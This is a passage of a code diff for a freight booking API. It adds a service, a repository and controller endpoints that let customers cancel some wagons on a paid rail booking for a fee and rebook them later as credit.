b/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellation.service.ts @@ -0,0 +1,778 @@ +import { + BadRequestException, + ConflictException, + forwardRef, + Inject, + Injectable, + Logger, + NotFoundException, +} from '@nestjs/common'; +import { Freight, NotificationAudience, NotificationType } from '@edr/types'; +import { DataSource, EntityManager, In } from 'typeorm'; + +import { BillingService } from '../billing/billing.service'; +import { ContractBookingService } from '../contracts/contract-booking.service'; +import { ClearanceMilestoneService } from '../contracts/clearance-milestone.service'; +import { CreateBookingUnderContractDto } from '../contracts/dto/create-booking-under-contract.dto'; +import { ClearanceMilestone } from '../contracts/entities/clearance-milestone.entity'; +import { FirstMileService } from '../first-mile/first-mile.service'; +import { NotificationInboxService } from '../notification-inbox/notification-inbox.service'; +import { wagonsPerUnitForSize } from '../rule-engine/container-type.util'; +import { Rate } from '../rule-engine/entities/rate.entity'; +import { BookingBatchService } from '../train-scheduling/booking-batch.service'; +import { WagonAllocationBulkLoad } from '../train-schedules/entities/wagon-allocation-bulk-load.entity'; +import { WagonAllocationContainerItem } from '../train-schedules/entities/wagon-allocation-container-item.entity'; +import { WagonBookingAllocation } from '../train-schedules/entities/wagon-booking-allocation.entity'; +import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; +import { + BookingWagonCancellationsRepository, + WagonCancellationListFilter, +} from './booking-wagon-cancellations.repository'; +import { BookingsRepository } from './bookings.repository'; +import { + RebookCancelledWagonsDto, + RequestWagonCancellationDto, +} from './dto/wagon-cancellation.dto'; +import { Booking } from './entities/booking.entity'; +import { BookingContainer } from './entities/booking-container.entity'; +import { BookingContainerUnit } from './entities/booking-container-unit.entity'; +import { + BookingWagonCancellation, + CancelledQuantities, + CancelledUnitSnapshot, +} from './entities/booking-wagon-cancellation.entity'; + +/** + * rates.rate_type of the cancellation fee — an existing rate-engine type + * (trigger CANCELLATION, never auto-applied to booking pricing). Staff + * configure it in the normal rates UI; the wagon flow requires the PER_WAGON + * unit so the fee scales with the cancelled wagon count. + */ +export const WAGON_CANCELLATION_FEE_RATE_TYPE = 'CANCELLATION_FEE'; +/** invoices.type of the fee invoice — the settlement branch key in BookingInvoiceService. */ +export const WAGON_CANCEL_FEE_INVOICE_TYPE = 'WAGON_CANCEL_FEE'; + +const round2 = (n: number): number => Math.round(n * 100) / 100; +const round3 = (n: number): number => Math.round(n * 1000) / 1000; + +interface RequestedCut { + wagons: number; + weightTons: number; + quantities: CancelledQuantities; +} + +/** + * Partial wagon cancellation on a PAID booking, with a rebooking credit. + * + * Lifecycle (one ledger row per cycle, see BookingWagonCancellation): + * T1 request — validate + price the fee, open the fee invoice. Nothing else + * moves: the wagons stay allocated until the fee is money. + * T2 fee paid — reduce the booking in place (applySplit mechanics: soft-delete + * the cut units LIFO), release the surplus wagon allocations, + * snapshot the cut units on the ledger row → CREDIT_AVAILABLE. + * T3 rebook — customer picks a day only. The credit becomes a REAL booking + * via ContractBookingService.createUnderContract (which re-checks + * contract validity + caps), immediately marked PAID — the + * freight was paid on the original booking; only the fee was new + * money. Clearance milestones are copied from the source booking + * (the cargo is already cleared; clearance follows cargo, not + * train date). + * + * The cycle is repeatable by construction: the rebooked booking is a normal + * PAID booking, so it can itself be partially cancelled again. + */ +@Injectable() +export class BookingWagonCancellationService { + private readonly logger = new Logger(BookingWagonCancellationService.name); + + constructor( + private readonly dataSource: DataSource, + private readonly repo: BookingWagonCancellationsRepository, + private readonly bookingsRepository: BookingsRepository, + private readonly billing: BillingService, + @Inject(forwardRef(() => ContractBookingService)) + private readonly contractBooking: ContractBookingService, + @Inject(forwardRef(() => ClearanceMilestoneService)) + private readonly clearanceMilestones: ClearanceMilestoneService, + @Inject(forwardRef(() => BookingBatchService)) + private readonly bookingBatch: BookingBatchService, + @Inject(forwardRef(() => FirstMileService)) + private readonly firstMile: FirstMileService, + private readonly inbox: NotificationInboxService, + ) {} + + // ── T1: request ──────────────────────────────────────────────────────────── + + /** Fee/credit preview for the confirm dialog — same math as the request, no writes. */ + async previewCancellation( + bookingId: string, + dto: RequestWagonCancellationDto, + ): Promise<{ + wagons: number; + weightTons: number; + feePerWagon: number; + feeAmount: number; + feeCurrency: string; + creditAmount: number; + }> { + const booking = await this.loadCancellableBooking(bookingId); + const cut = await this.resolveRequestedCut(booking, dto); + const rate = await this.feeRate(); + const feeAmount = round2(Number(rate.rateValue) * cut.wagons); + return { + wagons: cut.wagons, + weightTons: cut.weightTons, + feePerWagon: Number(rate.rateValue), + feeAmount, + feeCurrency: rate.currency, + creditAmount: this.creditFor(booking, cut.wagons), + }; + } + + async requestCancellation( + bookingId: string, + dto: RequestWagonCancellationDto, + userId?: string, + ): Promise { + const booking = await this.loadCancellableBooking(bookingId); + const open = await this.repo.findOpenForBooking(bookingId); + if (open) { + throw new ConflictException( + 'This booking already has a cancellation awaiting its fee. Pay or withdraw it first.', + ); + } + + const cut = await this.resolveRequestedCut(booking, dto); + const rate = await this.feeRate(); + const feeAmount = round2(Number(rate.rateValue) * cut.wagons); + const creditAmount = this.creditFor(booking, cut.wagons); + + const row = await this.repo.create({ + bookingId, + wagonsCancelled: cut.wagons, + weightTons: cut.weightTons, + cancelledQuantities: cut.quantities, + creditAmount, + feeRateId: rate.id, + feeAmount, + feeCurrency: rate.currency, + status: 'FEE_PENDING', + reason: dto.reason ?? null, + requestedByUserId: userId ?? null, + }); + + // The fee invoice rides the booking's own invoice list (source=booking), so + // the portal's existing invoice/pay stack picks it up with zero new payment + // code. Settlement branches on type in BookingInvoiceService. + const invoice = await this.billing.generateInvoice({ + source: Freight.InvoiceSource.Booking, + sourceId: bookingId, + type: WAGON_CANCEL_FEE_INVOICE_TYPE, + companyId: booking.companyId, + companyProfileId: booking.companyProfileId, + currency: rate.currency, + lines: [ + { + chargeType: 'CANCELLATION_FEE', + description: `Wagon cancellation fee — ${cut.wagons} wagon(s) of booking ${booking.reference}`, + quantity: cut.wagons, + unitRate: Number(rate.rateValue), + amount: feeAmount, + currency: rate.currency, + metadata: { wagonCancellationId: row.id }, + }, + ], + totalAmount: feeAmount, + status: Freight.InvoiceStatus.Issued, + }); + const updated = await this.repo.update(row.id, { feeInvoiceId: invoice.id }); + + this.notifyStaff( + booking, + 'Wagon cancellation requested', + `${booking.reference}: customer asked to cancel ${cut.wagons} wagon(s); fee invoice ${invoice.invoiceNumber} issued.`, + ); + return updated ?? row; + } + + /** Void a FEE_PENDING request: fee invoice cancelled, nothing was released. */ + async withdraw(cancellationId: string): Promise { + const row = await this.mustFind(cancellationId); + if (row.status !== 'FEE_PENDING') { + throw new BadRequestException( + `Only a fee-pending cancellation can be withdrawn (status is ${row.status}).`, + ); + } + if (row.feeInvoiceId) await this.billing.cancelInvoice(row.feeInvoiceId); + return (await this.repo.update(row.id, { status: 'WITHDRAWN' }))!; + } + + // ── T2: fee settled ───────────────────────────────────────────────────────── + + /** + * The fee invoice settled — reduce the booking and free the wagons. Called + * from BookingInvoiceService's paid handler. Idempotent: a duplicate webhook + * finds the row already past FEE_PENDING and returns. + */ + async onFeePaid(feeInvoiceId: string): Promise { + const row = await this.repo.findByFeeInvoiceId(feeInvoiceId); + if (!row) { + this.logger.warn(`No wagon cancellation for paid fee invoice ${feeInvoiceId}.`); + return; + } + if (row.status !== 'FEE_PENDING') return; + + await this.dataSource.transaction(async (manager) => { + const booking = await manager.getRepository(Booking).findOne({ + where: { id: row.bookingId }, + lock: { mode: 'pessimistic_write' }, + }); + if (!booking) throw new NotFoundException(`Booking ${row.bookingId} not found.`); + + const quantities = { ...row.cancelledQuantities }; + let droppedWeight = 0; + + if (quantities.bySize && Object.keys(quantities.bySize).length) { + const units = await this.reduceContainerLines(manager, booking, quantities.bySize); + quantities.units = units; + droppedWeight = round3(units.reduce((s, u) => s + Number(u.vgmTons || 0), 0)); + await this.releaseContainerAllocations( + manager, + booking.id, + units.map((u) => u.containerNumber), + ); + } else { + droppedWeight = Number(quantities.bulkTons ?? row.weightTons); + await this.reduceBulk(manager, booking, droppedWeight); + await this.releaseBulkAllocations(manager, booking.id, Number(row.wagonsCancelled)); + } + + // Mirror applySplit's bookkeeping: preSplitQuantities feeds the ONE_TIME + // exact-remainder assertion at rebook time; isSplit releases the + // single-active-booking slot so the rebooked booking may be created. + const preSplitQuantities = + booking.preSplitQuantities ?? (await this.currentQuantities(manager, booking, droppedWeight)); + + await manager.getRepository(Booking).update(booking.id, { + wagonsRequired: round2(Number(booking.wagonsRequired ?? 0) - Number(row.wagonsCancelled)), + cargoTotalWeightVgm: round3(Number(booking.cargoTotalWeightVgm) - droppedWeight), + totalAmount: round2(Number(booking.totalAmount) - Number(row.creditAmount)), + isSplit: true, + preSplitQuantities, + } as never); + + await manager.getRepository(BookingWagonCancellation).update(row.id, { + status: 'CREDIT_AVAILABLE', + feePaidAt: new Date(), + weightTons: droppedWeight, + cancelledQuantities: quantities, + }); + }); + + const booking = await this.bookingsRepository.findById(row.bookingId); + if (booking) { + this.notifyCustomer( + booking, + 'Wagon cancellation confirmed', + `${row.wagonsCancelled} wagon(s) of ${booking.reference} are cancelled. Your paid freight is kept as credit — rebook any day while your contract is valid.`, + ); + } + this.logger.log( + `Wagon cancellation ${row.id}: fee paid, booking ${row.bookingId} reduced by ${row.wagonsCancelled} wagon(s).`, + ); + } + + // ── T3: rebook ────────────────────────────────────────────────────────────── + + async rebook( + cancellationId: string, + dto: RebookCancelledWagonsDto, + userId?: string, + ): Promise<{ cancellation: BookingWagonCancellation; bookingId: string }> { + const row = await this.mustFind(cancellationId); + if (row.status !== 'CREDIT_AVAILABLE') { + throw new BadRequestException( + `This credit cannot be rebooked (status is ${row.status}).`, + ); + } + const source = await this.bookingsRepository.findById(row.bookingId); + if (!source) throw new NotFoundException(`Booking ${row.bookingId} not found.`); + if (!source.contractId) { + throw new BadRequestException('The original booking has no contract to rebook under.'); + } + // Friendly pre-check; createUnderContract re-asserts inside its own guards. + if ( + source.contractValidUntil && + new Date(source.contractValidUntil).getTime() < Date.now() + ) { + throw new BadRequestException( + 'Contract validity has expired — ask EDR staff to extend the contract before rebooking.', + ); + } + + const createDto = this.buildRebookDto(row, dto.scheduledDate); + const created = await this.contractBooking.createUnderContract( + source.contractId, + createDto, + { id: userId ?? source.createdByUserId ?? undefined }, + // System actor: carries the create-booking key so the GL gate passes on + // Path B (customs-clearance) contracts; harmless on Path A. + { permissions: [{ key: FREIGHT_PERMS.contracts.createBooking }] }, + ); + const newBookingId = created.booking.id; + + // The freight is already paid (credit) — mark PAID and let the existing + // paid-booking machinery place it. No invoice is generated for it. + await this.dataSource.getRepository(Booking).update(newBookingId, { + paymentStatus: 'PAID', + status: 'PAID', + }); + await this.copyClearanceState(source, newBookingId); + + try { + await this.firstMile.acceptBooking(newBookingId); + } catch (err) { + this.logger.error( + `First-mile accept failed for rebooked ${newBookingId}: ${err instanceof Error ? err.message : String(err)}`, + ); + } + try { + await this.bookingBatch.ensurePaidBookingAllocated(newBookingId); + } catch (err) { + this.logger.error( + `Allocation failed for rebooked ${newBookingId}: ${err instanceof Error ? err.message : String(err)}`, + ); + } + + const updated = (await this.repo.update(row.id, { + status: 'REBOOKED', + rebookedBookingId: newBookingId, + rebookedAt: new Date(), + }))!; + + this.notifyCustomer( + source, + 'Cancelled wagons rebooked', + `Your ${row.wagonsCancelled} cancelled wagon(s) from ${source.reference} are rebooked for ${dto.scheduledDate}. No new freight charge — your credit covered it.`, + newBookingId, + ); + return { cancellation: updated, bookingId: newBookingId }; + } + + // ── History ──────────────────────────────────────────────────────────────── + + list(filter: WagonCancellationListFilter) { + return this.repo.list(filter); + } + + findById(id: string): Promise { + return this.mustFind(id); + } + + // ── internals ────────────────────────────────────────────────────────────── + + private async mustFind(id: string): Promise { + const row = await this.repo.findById(id); + if (!row) throw new NotFoundException(`Wagon cancellation ${id} not found.`); + return row; + } + + /** PAID booking, not yet moving, with a contract to rebook under later. */ + private async loadCancellableBooking(bookingId: string): Promise { + const booking = await this.bookingsRepository.findById(bookingId); + if (!booking) throw new NotFoundException(`Booking ${bookingId} not found.`); + if (booking.paymentStatus !== 'PAID' || booking.status !== 'PAID') { + throw new BadRequestException( + 'Only a paid booking can cancel wagons. Before payment, cancel the booking itself — no fee applies.', + ); + } + if (!booking.contractId) { + throw new BadRequestException( + 'Wagon cancellation needs a contract booking (the credit is rebooked under the contract).', + ); + } + const moving = await this.dataSource.getRepository(WagonBookingAllocation).count({ + where: { bookingId, status: In(['LOADED', 'DEPARTED']) }, + }); + if (moving > 0) { + throw new BadRequestException( + 'Loading has started for this booking — wagons can no longer be cancelled.', + ); + } + return booking; + } + + /** Validate the requested cut against the live booking and size it in wagons/tons. */ + private async resolveRequestedCut( + booking: Booking, + dto: RequestWagonCancellationDto, + ): Promise { + const totalWagons = Number(booking.wagonsRequired ?? 0); + if (totalWagons <= 0) { + throw new BadRequestException('This booking has no wagon requirement to cancel from.'); + } + + if (booking.freightType === 'CONTAINER') { + if (!dto.containers?.length) { + throw new BadRequestException('Specify the container units to cancel per size.'); + } + const lines = await this.dataSource.getRepository(BookingContainer).find({ + where: { bookingId: booking.id }, + }); + const liveBySize = new Map(); + for (const line of lines) { + const size = line.containerSize ?? ''; + liveBySize.set(size, (liveBySize.get(size) ?? 0) + Number(line.quantity ?? 0)); + } + const bySize: Record = {}; + let wagons = 0; + for (const cut of dto.containers) { + const live = liveBySize.get(cut.containerSize) ?? 0; + if (cut.quantity > live) { + throw new BadRequestException( + `Cannot cancel ${cut.quantity} × ${cut.containerSize}ft — the booking only has ${live}.`, + ); + } + bySize[cut.containerSize] = cut.quantity; + wagons += cut.quantity * wagonsPerUnitForSize(Number(cut.containerSize)); + } + wagons = round2(wagons); + if (wagons >= totalWagons) { + throw new BadRequestException( + 'That would cancel the whole booking — use booking cancellation instead of a partial wagon cancel.', + ); + } + const weightShare = round3( + Number(booking.cargoTotalWeightVgm) * (wagons / totalWagons), + ); + return { wagons, weightTons: weightShare, quantities: { bySize } }; + } + + // BULK: the customer cancels wagons; tons follow the booking's own + // tons-per-wagon ratio. + const wagons = round2(Number(dto.wagons ?? 0)); + if (!wagons || wagons <= 0) { + throw new BadRequestException('Specify how many wagons to cancel.'); + } + if (wagons >= totalWagons) { + throw new BadRequestException( + 'That would cancel the whole booking — use booking cancellation instead of a partial wagon cancel.', + ); + } + // ponytail: proportional sizing (tons/wagon = total/wagons). PER_ITEM item + // rounding happens here too; switch to items_per_wagon_map sizing if bulk + // PER_ITEM cancels ever need to be exact per item. + let tons = Number(booking.cargoTotalWeightVgm) * (wagons / totalWagons); + const isPerItem = booking.bulkTotalWeightTons != null; + tons = isPerItem ? Math.floor(tons) : round3(tons); + if (tons <= 0) { + throw new BadRequestException('The requested cut is too small to release cargo.'); + } + return { wagons, weightTons: tons, quantities: { bulkTons: tons } }; + } + + /** Credit = the cancelled share of the ORIGINAL price (old-price rebooking). */ + private creditFor(booking: Booking, wagons: number): number { + const totalWagons = Number(booking.wagonsRequired ?? 0); + if (totalWagons <= 0) return 0; + return round2(Number(booking.totalAmount) * (wagons / totalWagons)); + } + + private async feeRate(): Promise { + const rate = await this.dataSource.getRepository(Rate).findOne({ + where: { + rateType: WAGON_CANCELLATION_FEE_RATE_TYPE, + rateUnit: 'PER_WAGON', + status: 'LIVE', + }, + order: { createdAt: 'DESC' }, + }); + if (!rate) { + throw new BadRequestException( + 'No LIVE per-wagon CANCELLATION_FEE rate is configured — ask EDR to set it in the rate engine (unit PER_WAGON).', + ); + } + return rate; + } + + /** + * Trim `bySize` units off the booking's container lines, newest line first, + * LIFO within a line — the exact applySplit mechanics. Returns snapshots of + * every physical unit soft-deleted, for later reconstruction. + */ + private async reduceContainerLines( + manager: EntityManager, + booking: Booking, + bySize: Record, + ): Promise { + const snapshots: CancelledUnitSnapshot[] = []; + for (const [size, toDrop] of Object.entries(bySize)) { + let remaining = toDrop; + const lines = await manager.getRepository(BookingContainer).find({ + where: { bookingId: booking.id, containerSize: size }, + order: { createdAt: 'DESC' }, + }); + const live = lines.reduce((s, l) => s + Number(l.quantity ?? 0), 0); + if (live < toDrop) { + throw new BadRequestException( + `Booking changed since the request: only ${live} × ${size}ft left, cannot cancel ${toDrop}.`, + ); + } + for (const line of lines) { + if (remaining <= 0) break; + const qty = Number(line.quantity ?? 0); + const drop = Math.min(remaining, qty); + remaining -= drop; + + const units = await manager.getRepository(BookingContainerUnit).find({ + where: { bookingContainerId: line.id }, + order: { sortOrder: 'DESC', createdAt: 'DESC' }, + take: drop, + }); + for (const u of units) { + snapshots.push({ + containerSize: size, + containerNumber: u.containerNumber, + sealNumber: u.sealNumber ?? null, + vgmTons: Number(u.vgmTons), + isHazardous: u.isHazardous, + isReefer: u.isReefer, + }); + } + if (units.length < drop) { + throw new BadRequestException( + `Booking line ${line.id} has ${units.length} physical unit record(s) but ${drop} must be cancelled — units out of sync.`, + ); + } + const droppedVgm = round3(units.reduce((s, u) => s + Number(u.vgmTons || 0), 0)); + + if (drop === qty) { + await manager.getRepository(BookingContainer).softDelete(line.id); + await manager + .getRepository(BookingContainerUnit) + .softDelete(units.map((u) => u.id)); + continue; + } + await manager.getRepository(BookingContainerUnit).softDelete(units.map((u) => u.id)); + const keptUnits = await manager.getRepository(BookingContainerUnit).find({ + where: { bookingContainerId: line.id }, + }); + await manager.getRepository(BookingContainer).update(line.id, { + quantity: qty - drop, + wagonsRequired: round2((qty - drop) * wagonsPerUnitForSize(Number(size))), + totalVgmTons: round3(Number(line.totalVgmTons) - droppedVgm), + hazardousQuantity: keptUnits.filter((u) => u.isHazardous).length, + reeferQuantity: keptUnits.filter((u) => u.isReefer).length, + }); + } + } + return snapshots; + } + + private async reduceBulk( + manager: EntityManager, + booking: Booking, + tons: number, + ): Promise { + if (tons >= Number(booking.cargoTotalWeightVgm)) { + throw new BadRequestException( + 'Booking changed since the request: the cut no longer leaves any cargo.', + ); + } + if (booking.bulkTotalWeightTons != null) { + const share = tons / Number(booking.cargoTotalWeightVgm); + await manager.getRepository(Booking).update(booking.id, { + bulkTotalWeightTons: round3(Number(booking.bulkTotalWeightTons) * (1 - share)), + }); + } + } + + /** + * Free the wagon capacity of the cancelled container units. Items are matched + * by container number; an allocation left with no items is deleted whole + * (hard delete — the unassignBooking convention for allocation rows). + * A booking not yet placed on a train simply has nothing to release. + */ + private async releaseContainerAllocations( + manager: EntityManager, + bookingId: string, + containerNumbers: string[], + ): Promise { + if (!containerNumbers.length) return; + const allocations = await manager.getRepository(WagonBookingAllocation).find({ + where: { bookingId }, + relations: { containerItems: true }, + }); + for (const alloc of allocations) { + const items = alloc.containerItems ?? []; + const cut = items.filter( + (i) => i.containerNumber && containerNumbers.includes(i.containerNumber), + ); + if (!cut.length) continue; + await manager + .getRepository(WagonAllocationContainerItem) + .delete(cut.map((i) => i.id)); + if (cut.length === items.length) { + await manager.getRepository(WagonBookingAllocation).delete(alloc.id); + } else { + const cutWeight = cut.reduce((s, i) => s + Number(i.grossWeightTons ?? 0), 0); + await manager.getRepository(WagonBookingAllocation).update(alloc.id, { + allocatedWeightTons: round3(Number(alloc.allocatedWeightTons) - cutWeight), + }); + } + } + } + + /** Free whole bulk wagons, newest allocations first. */ + private async releaseBulkAllocations( + manager: EntityManager, + bookingId: string, + wagons: number, + ): Promise { + const toFree = Math.round(wagons); + if (toFree <= 0) return; + const allocations = await manager.getRepository(WagonBookingAllocation).find({ + where: { bookingId }, + order: { createdAt: 'DESC' }, + take: toFree, + }); + if (!allocations.length) return; + const ids = allocations.map((a) => a.id); + await manager + .getRepository(WagonAllocationBulkLoad) + .delete({ wagonBookingAllocationId: In(ids) }); + await manager.getRepository(WagonBookingAllocation).delete(ids); + } + + /** Pre-reduction quantities snapshot (only when the booking was never split before). */ + private async currentQuantities( + manager: EntityManager, + booking: Booking, + _droppedWeight: number, + ): Promise<{ bulkTons?: number; bySize?: Record }> { + if (booking.freightType !== 'CONTAINER') { + return { bulkTons: Number(booking.cargoTotalWeightVgm) }; + } + // Lines were already reduced inside this transaction — read them with + // deleted rows included to reconstruct the pre-cut ledger. + const lines = await manager.getRepository(BookingContainer).find({ + where: { bookingId: booking.id }, + withDeleted: true, + }); + const bySize: Record = {}; + for (const line of lines) { + const size = line.containerSize ?? ''; + bySize[size] = (bySize[size] ?? 0) + Number(line.quantity ?? 0); + } + return { bySize }; + } + + /** The create-DTO that reconstructs the cancelled cargo on the chosen day. */ + private buildRebookDto( + row: BookingWagonCancellation, + scheduledDate: string, + ): CreateBookingUnderContractDto { + const dto: CreateBookingUnderContractDto = { scheduledDate }; + const q = row.cancelledQuantities; + + if (q.bySize && Object.keys(q.bySize).length) { + const units = q.units ?? []; + dto.containers = Object.entries(q.bySize).map(([size, quantity]) => { + const sized = units.filter((u) => u.containerSize === size); + if (sized.length !== quantity) { + throw new BadRequestException( + `Credit is missing unit snapshots for size ${size} (${sized.length}/${quantity}) — contact EDR support.`, + ); + } + return { + containerSize: size, + quantity, + units: sized.map((u) => ({ + containerNumber: u.containerNumber, + sealNumber: u.sealNumber ?? undefined, + vgmTons: u.vgmTons, + isHazardous: u.isHazardous, + isReefer: u.isReefer, + })), + hazardousQuantity: sized.filter((u) => u.isHazardous).length, + reeferQuantity: sized.filter((u) => u.isReefer).length, + }; + }); + return dto; + } + + dto.bulkLines = [{ cargoWeightTons: Number(q.bulkTons ?? row.weightTons) }]; + return dto; + } + + /** + * Carry the source booking's finished clearance onto the rebooked one: the + * cargo is already cleared; a new train date needs no new customs cycle. + * Seeds the standard milestone set idempotently, then mirrors every + * non-pending milestone status from the source by milestone code. + */ + private async copyClearanceState(source: Booking, newBookingId: string): Promise { + const repo = this.dataSource.getRepository(ClearanceMilestone); + const sourceMilestones = await repo.find({ where: { bookingId: source.id } }); + if (!sourceMilestones.length) return; + + try { + await this.clearanceMilestones.ensureBookingMilestones( + newBookingId, + source.tradeDirection, + ); + const targets = await repo.find({ where: { bookingId: newBookingId } }); + const byCode = new Map(targets.map((m) => [m.milestoneCode, m])); + for (const src of sourceMilestones) { + if (src.status === 'PENDING') continue; + const target = byCode.get(src.milestoneCode); + if (!target) continue; + await repo.update(target.id, { + status: src.status, + triggeredAt: src.triggeredAt, + triggeredByUserId: src.triggeredByUserId, + triggeredByDoc: src.triggeredByDoc, + note: src.note, + metadata: src.metadata, + }); + } + if (source.clearanceCurrentPhase) { + await this.dataSource.getRepository(Booking).update(newBookingId, { + clearanceCurrentPhase: source.clearanceCurrentPhase, + preClearanceFinalizedAt: source.preClearanceFinalizedAt, + dutyRequired: source.dutyRequired, + }); + } + } catch (err) { + // Clearance copy must never lose a paid rebooking — staff can re-complete + // milestones by hand if this ever fails. + this.logger.error( + `Clearance copy ${source.id} → ${newBookingId} failed: ${err instanceof Error ? err.message : String(err)}`, + ); + } + } + + private notifyCustomer(booking: Booking, title: string, body: string, linkBookingId?: string): void { + void this.inbox.notify({ + recipients: { companyId: booking.companyId }, + audience: NotificationAudience.PORTAL, + type: NotificationType.BOOKING_STATUS, + title, + body, + link: `/bookings/${linkBookingId ?? booking.id}`, + data: { bookingId: linkBookingId ?? booking.id, reference: booking.reference }, + }); + } + + private notifyStaff(booking: Booking, title: string, body: string): void { + void this.inbox.notify({ + recipients: { allBackoffice: true }, + audience: NotificationAudience.BACKOFFICE, + type: NotificationType.BOOKING_STATUS, + title, + body, + link: `/bookings/${booking.id}`, + data: { bookingId: booking.id, reference: booking.reference }, + }); + } +} diff --git a/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellations.repository.ts b/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellations.repository.ts new file mode 100644 index 000000000..64cde269f --- /dev/null +++ b/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellations.repository.ts @@ -0,0 +1,85 @@ +import { BaseRepository } from '@edr/api-common'; +import { Injectable } from '@nestjs/common'; +import { InjectRepository } from '@nestjs/typeorm'; +import { Repository, SelectQueryBuilder } from 'typeorm'; + +import { BookingWagonCancellation } from './entities/booking-wagon-cancellation.entity'; + +export interface WagonCancellationListFilter { + status?: string[]; + /** Booking reference / company name search (staff list). */ + search?: string; + companyId?: string; + bookingId?: string; + from?: Date; + to?: Date; + page?: number; + pageSize?: number; +} + +@Injectable() +export class BookingWagonCancellationsRepository extends BaseRepository { + constructor( + @InjectRepository(BookingWagonCancellation) + repository: Repository, + ) { + super(repository); + } + + /** The one open (fee-unpaid) cancellation of a booking, if any. */ + findOpenForBooking(bookingId: string): Promise { + return this.repository.findOne({ + where: { bookingId, status: 'FEE_PENDING' }, + }); + } + + findByFeeInvoiceId(feeInvoiceId: string): Promise { + return this.repository.findOne({ where: { feeInvoiceId } }); + } + + /** Paged history — staff see everything, customers are scoped by companyId. */ + async list( + filter: WagonCancellationListFilter, + ): Promise<{ items: BookingWagonCancellation[]; total: number }> { + const page = Math.max(1, filter.page ?? 1); + const pageSize = Math.min(100, Math.max(1, filter.pageSize ?? 10)); + + const qb = this.baseQuery(); + if (filter.bookingId) { + qb.andWhere('(bwc.booking_id = :bookingId OR bwc.rebooked_booking_id = :bookingId)', { + bookingId: filter.bookingId, + }); + } + if (filter.companyId) { + qb.andWhere('booking.company_id = :companyId', { companyId: filter.companyId }); + } + if (filter.status?.length) { + qb.andWhere('bwc.status IN (:...statuses)', { statuses: filter.status }); + } + if (filter.search) { + qb.andWhere('(booking.reference ILIKE :search OR company.name ILIKE :search)', { + search: `%${filter.search}%`, + }); + } + if (filter.from) qb.andWhere('bwc.created_at >= :from', { from: filter.from }); + if (filter.to) qb.andWhere('bwc.created_at <= :to', { to: filter.to }); + + // Property path (not raw column): skip/take builds a distinct-id subquery + // and the ORDER BY must resolve inside it. + const [items, total] = await qb + .orderBy('bwc.createdAt', 'DESC') + .skip((page - 1) * pageSize) + .take(pageSize) + .getManyAndCount(); + return { items, total }; + } + + private baseQuery(): SelectQueryBuilder { + return this.repository + .createQueryBuilder('bwc') + .leftJoinAndSelect('bwc.booking', 'booking') + .leftJoinAndSelect('booking.company', 'company') + .leftJoinAndSelect('bwc.rebookedBooking', 'rebookedBooking') + .leftJoinAndSelect('bwc.feeInvoice', 'feeInvoice'); + } +} diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts index 1e932cbc0..cad7c6061 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts @@ -21,7 +21,11 @@ import { import { CurrentUser } from '@edr/api-common'; import type { TCurrentUser } from '@tria-plc/api-common/modules/auth/types/current-user.type'; import { JwtGuard } from '@tria-plc/api-common/modules/auth/services/jwt.guard'; -import { BookingStaff, BookingView } from '../../common/booking-guards'; +import { + BookingStaff, + BookingView, + WagonCancellationView, +} from '../../common/booking-guards'; import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; import { AnyFilesInterceptor, FileInterceptor } from '@nestjs/platform-express'; import { @@ -74,6 +78,12 @@ import { GenerateGrnDto } from './dto/generate-grn.dto'; import { ContainerReceiptService } from './container-receipt.service'; import { SignContractDto } from './dto/sign-contract.dto'; import { UpdateBookingDto } from './dto/update-booking.dto'; +import { BookingWagonCancellationService } from './booking-wagon-cancellation.service'; +import { + FilterWagonCancellationsDto, + RebookCancelledWagonsDto, + RequestWagonCancellationDto, +} from './dto/wagon-cancellation.dto'; import { type AuthUserPayload, resolveAuthUserId, @@ -153,6 +163,7 @@ export class BookingsController { private readonly firstMileService: FirstMileService, private readonly lastMileService: LastMileService, private readonly userTradeAccessService: UserTradeAccessService, + private readonly wagonCancellationService: BookingWagonCancellationService, ) {} @Post() @@ -512,6 +523,134 @@ export class BookingsController { return this.bookingsService.wagonAllocations(id); } + // ── Partial wagon cancellation (paid bookings) ──────────────────────────── + // Customer endpoints are ownership-scoped (no portal permission keys); the + // staff history/void/rebook variants are permission-gated below. + + @Post(':id/wagon-cancellations/preview') + @ApiOperation({ summary: 'Preview the fee/credit of a partial wagon cancellation (no writes)' }) + async previewWagonCancellation( + @Param('id', ParseUUIDPipe) id: string, + @Body() dto: RequestWagonCancellationDto, + @CurrentUser() user: TCurrentUser, + ) { + const booking = await this.bookingsService.findById(id); + if (!hasFreightPermission(user, FREIGHT_PERMS.bookings.view)) { + await this.bookingsService.assertCustomerCanAccessBooking(user?.id, booking); + } + return this.wagonCancellationService.previewCancellation(id, dto); + } + + @Post(':id/wagon-cancellations') + @ApiOperation({ + summary: + 'Request a partial wagon cancellation on a PAID booking — opens the cancellation-fee invoice; wagons are released only once the fee settles', + }) + async requestWagonCancellation( + @Param('id', ParseUUIDPipe) id: string, + @Body() dto: RequestWagonCancellationDto, + @CurrentUser() user: TCurrentUser, + ) { + const booking = await this.bookingsService.findById(id); + if (!hasFreightPermission(user, FREIGHT_PERMS.bookings.view)) { + await this.bookingsService.assertCustomerCanAccessBooking(user?.id, booking); + } + return this.wagonCancellationService.requestCancellation(id, dto, user?.id); + } + + @Get(':id/wagon-cancellations') + @ApiOperation({ summary: 'Wagon-cancellation history of one booking (owner or staff)' }) + async listBookingWagonCancellations( + @Param('id', ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + const booking = await this.bookingsService.findById(id); + const staff = + hasFreightPermission(user, FREIGHT_PERMS.bookings.view) || + hasFreightPermission(user, FREIGHT_PERMS.bookings.wagonCancellationView); + if (!staff) { + await this.bookingsService.assertCustomerCanAccessBooking(user?.id, booking); + } + return this.wagonCancellationService.list({ bookingId: id, pageSize: 100 }); + } + + @Get('wagon-cancellations/my') + @ApiOperation({ summary: 'Wagon-cancellation history of the calling customer (paginated, filterable)' }) + async listMyWagonCancellations( + @Query() filter: FilterWagonCancellationsDto, + @CurrentUser() user: 